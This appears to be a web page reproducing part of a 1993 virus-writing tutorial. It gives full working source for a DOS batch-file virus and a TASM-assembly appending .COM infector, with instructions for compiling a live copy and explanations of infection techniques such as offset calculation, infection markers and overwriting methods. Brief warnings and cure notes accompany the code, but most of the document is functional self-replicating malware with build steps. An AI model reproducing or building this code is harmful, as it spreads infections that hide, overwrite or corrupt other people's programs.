Virus Source Codes Database

Batch File viruses are becoming increasingly common, because o two main reasons:

1. They are incredibly simple to write and requir no real programming experience, and
2. There are a growing number of programs that will convert .BAT files into .COM and/or .EXE files.

This allows the batch file to pose as an executable and prevents it from being typed. The following virus, however, works in BAT format It searches the directory for .COM files and .EXE files, finding th last one in the directory. It then renames it to its name with a V at the beginning, hides it, and puts a batch file with the same nam into the directory that contains the virus. The commands used can be found in an MS-DOS User's Manual. To cure it, read the instructions within the virus itself simply by typing one of the infected .BAT files. This, despite the fact that it is not an 'executable' program, is a virus and, like all others, can cause damage if improperly handled. It will not go out of the directory, unless it is run from another directory. As with anything that is potentially dangerous, just be careful and use common sense. And if you do not understand it, DO NOT PRESS YOUR LUCK BY PLAYING WITH IT! Study the code and an MS-DOS manual until you do understand it. I am not including an in-depth study of this virus due to its simplicity. To create a working version of this virus, type the code in between the dotted lines into a program such as EDIT.COM that comes with DOS, and save it as WAGNER.BAT. Put it in an isolated directory, and then you can test it. Again, be careful, for it is YOUR responsibility for anything you do with it.

The Wagner Virus
@echo off
ctty nul
rem ______________________________________________________________
rem :Wagner Virus, as presented in Virology 101 (c) 1993 Black Wolf
rem :This virus can be cured simply by typing "attrib -h -r *.*" in
rem :infected directories and deleting BAT files that are identical
rem :to this code, then rename the files having a "V" at the start
rem :to their original names. NOTE: Does not infect COMMAND.COM.
rem :______________________________________________________________
for %%f in (*.exe *.com) do set A=%%f
if %A%==COMMAND.COM set A=
rename %A% V%A%
if not exist V%A% goto end
attrib +h V%A%
copy %0.bat %A%
attrib +r %A%
ren %A% *.bat
set A=
:end
ctty con
@if exist V%0.com V%0.com %1 %2 %3
@if exist V%0.exe V%0.exe %1 %2 %3

Most viruses, unlike those presented in the Batch viruses and Upper-Level language viruses sections, only infect executable files such as .COM's and .EXE's and are written in assembly. There are numerous methods to infect each file type - some of the more popular will be shown in this tutorial. The simplest type of executable file to infect is the .COM file. COM files are direct memory images of the programs. When a COM file is run, DOS loads what is called the Program Segment Prefix (PSP), a data structure containing a lot of "book keeping" information for DOS, at the first available segment in memory. The PSP is 256 (100h) bytes long. Directly after this, the .COM file is loaded into memory, so it starts at an offset of 100h. Because COM files are loaded directly into memory as images, they must be able to be contained, with the PSP, in one segment, making their maximum length just short of 64K.

Because COM's are so simple, there are a multitude of ways to infect them. One way is, as seen in the C virus earlier, just to overwrite them with the viral code. This is obviously not the prefered method, however, as it destroys the host program. Instead, a way must be found to allow the virus to execute, then to restore control to the host program afterwards. Several methods to do this have been developed, the most common of which is the appending virus. The basic technique to this style of virus is to place its code at the end of the file, then place a jump at the beginning of the file to point to the end. This accomplishes the task of executing the virus first thing when the file is run. To restore control to the host, however, takes a few tricks. First, one must store the bytes that the jump was written over in the file. Then, once the virus is finished, these bytes must be restored in memory, and the virus should jump to the beginning of the host (at 100h because it is a .COM). This is all simple enough, but there is one more difficulty that this type of virus must face. With 8086 assembly, all of the near jumps and calls are relative - that is, a command that jumps ten bytes forward when executed in one location will jump ten bytes forward when executed in another. Data referencing, however, is done on an absolute basis. If a file has data at one place in memory when compiled, then even if it is offset in memory it will continue to look for the data at the original location. Because viruses that work in the manner described earlier could possibly end up at any offset from their original positions, we must find a way to adjust for that. There are several tricks for this, the most common being to CALL a dummy subroutine, POP the current offset of the next command off of the stack, subtract the old offset of the command DIRECTLY AFTER the call, and store the result in BP (or BX, SI, DI, etc.) for indirect addressing, i.e. "mov ax,[bp+Location]." The reason this works is because the CALL command does two things, it pushes the offset of the command directly after it onto the stack, and then it jumps to the location of the subroutine. Since the ORIGINAL offset of the command directly after the call is then subtracted from the CURRENT offset of the command, it gives you the total displacement of the virus. A simple coding example for the is the following:

call get_offset ;Call dummy subroutine
get_offset:
pop bp ;Pop current offset of get_offset
;into BP
sub bp,offset get_offset ;Subtract original offset to get
;current displacement of virus.
lea si,[bp+wherever] ;Common way to set a register to
;be the the offset of a variable.

Now that we have a basic feeling of what a .COM infector must do, let's list each step needed in a relatively simple appending COM virus.

1. Jump to virus
2. Find a .COM file. If none are left, go to step 6.
3. Check to see if it has been infected. If it has, go to step 2.
4. Write the virus to the end of the file.
5. Store the first three or four bytes at the beginning of the new host and overwrite them with a jump to the virus code.
6. Restore host's old bytes and return control to host.

Looking at step #3, we see something that was breezed over in the second C virus - identification of infected files. Usually, this is done by "marking" each file infected in some way, either through the time-stamp or by placing a specific "marker byte" in the file that the virus can check for. If this is not done, than files may be infected repeatedly until they grow too large to execute - not a desirable result. The following virus is a simple direct action (meaning it infects files when it is run and does not stay present in memory afterwards) appending .COM infector. It will infect one uninfected .COM file in the current directory each time it is executed until all are infected. Notice that the programs will execute just as if they were uninfected, with perhaps a slight delay before they run and a little extra disk access. Study the following code carefully, as it contains some neccessary portions of code that have NOT been mentioned so far - they will be explained in the code.

; This file is a direct-action appending .COM infector
;written in TASM - compatible assembler for the IBM PC.
;It is presented as a part of VIROLOGY 101 (c) 1993 Black Wolf.
;It is a live virus, and should NOT be released. Please execute
;the virus only on isolated machines under controlled conditions.
; To compile this virus, one must first make a stub file, or
;an initial "host", and attach the virus to it. The stub should be
;a program like the following:
;
; .model tiny
; .code
; org 100
;start:
; nop
; nop
; nop
; nop
;end start
;
; To attach the stub file to the virus, use the following line
;from DOS.
; copy /b stub.com+vircode.com newvirus.com
;
;This will produce a live, working virus. Please be careful with
;it.


.model tiny
.radix 16 ;Default into Hexidecimal
.code
org 100
start:
call get_offset ;This places the displace-
;ment of the virus from its
get_offset: ;original compilation into
pop bp ;BP.
sub bp,offset get_offset

Restore_Host_File: ;This routine moves the
lea si,[storage_bytes+bp] ;stored bytes of the
mov di,100 ;current host back to their
movsw ;original place (at the
movsw ;beginning of the host).

;The DTA (Data Transfer Address) is the location that DOS puts
;information regarding file I/O, such as from a search for files,
;CS:0080 in .COM files - inside the PSP. Unfortunately, it is
;located at the same address in the PSP as the command-line
;parameters that are passed from DOS to your user program.
;Because of this, if you simply asked Dos to do a search for files
;without changing the location of the DTA first, all command-line
;information would be lost. This would be disasterous in viruses,
;as it would cause unpredictable results in the host file. The
;solution is simple: move the DTA to a new address for the virus,
;then restore it to the default position before the virus restores
;control to the host.

Set_DTA:
lea dx,[end_virus+bp] ;Set DTA to the end of the
mov ah,1a ;virus.
int 21

mov ah,4e
xor cx,cx ;Look only for normal
;attributes.
lea dx,[File_Mask+bp] ;Search for all files
Find_File: ;matching '*.COM'.
int 21
jc No_More_Files

mov ax,3d02
lea dx,[end_virus+1e+bp] ;Offset 1eh in DTA =
; filename
int 21 ;Open file for read/write
;access.

xchg bx,ax ;Put File handle into BX

mov ah,3f
mov cx,4
lea dx,[storage_bytes+bp] ;Read in first four bytes
int 21 ;of file

cmp word ptr [storage_bytes+bp],'ZM' ;Standard EXE
je close_file ;mark, file is a
;misnamed EXE.

cmp word ptr [storage_bytes+bp],'MZ' ;Other possible
je close_file ;EXE mark.

cmp byte ptr [storage_bytes+bp+3],'V' ;Infection mark:
je close_file ;file infected.

mov ax,4202 ;Go to the end of the file.
xor cx,cx ;This function returns
xor dx,dx ;file size into
int 21 ;DX:AX

sub ax,3 ;Put file size - 3
mov word ptr [bp+jump_bytes+1],ax ;(jump instruction
;length) into jump
;bytes.

mov ah,40 ;Write virus to the
mov cx,end_virus-start ;end of the file.
lea dx,[bp+start]
int 21

mov ax,4200 ;Return to the
xor cx,cx ;beginning of the
xor dx,dx ; file.
int 21

mov ah,40 ;Write jump bytes
mov cx,4 ;and marker byte
lea dx,[bp+jump_bytes] ;to the beginning
int 21 ;of file.

mov ah,3e ;Close file
int 21
jmp No_More_Files ;Only infect one
;file each time.

Close_File: ;Close current file
mov ah,3e
int 21

Find_Next_File: ;Find another file
mov ah,4f
jmp Find_File

No_More_Files: ;Reset DTA to original location
mov dx,80
mov ah,1a
int 21

Restore_To_Host: ;This is basically a "jmp cs:100"
mov di,100
push di
ret


File_Mask db '*.COM',0 ;File mask used for search
jump_bytes db 0e9,0,0,'V' ;'V' is the marker byte.
storage_bytes:
nop ;dummy storage bytes for
nop ;first execution.
int 20 ;Terminate

end_virus:
end start
While the appending COM infector may be the most common, it by far not the only method of infecting a COM file. Some of the different ways are briefly explained below.

Generic Appending: This is the method explained and demonstrated earlier. It will place a jump over the first few bytes of the host that jumps to the end of the host, where it places itself.

"Shift" virus: These viruses place themselves at the beginning of the file, "shifting" the host to a new offset in memory. When they are done executing, they "shift" the host back to offset 100h and execute it. This style eliminates the need for the displacement calculations found in appending viruses, but they must find some way to "shift" the host back without overwriting the code doing the "shifting". This technique works best in memory resident viruses, rather than direct action.

Non-Destructive Overwriting: The usual method for this type is to copy a chunk of code at the beginning of the host to the end of the file, then overwrite that chunk with the virus. Restoration is quite similair to the "Shift" method. As above, this one works best as a memory resident virus.

Jump Redirection: This type is basically the same as the Appending style, but it will redirect jumps that are already inside the host to point to it.

Random Placement: This type is rare, generally found as research viruses only. It can place itself anywhere within a file, usually using methods similar to the Non-Destructive Overwriting for restoration and either Jump Redirection of the Generic Appending for execution (i.e. jumps to virus). The main purpose for this is to complicate disinfection - a little.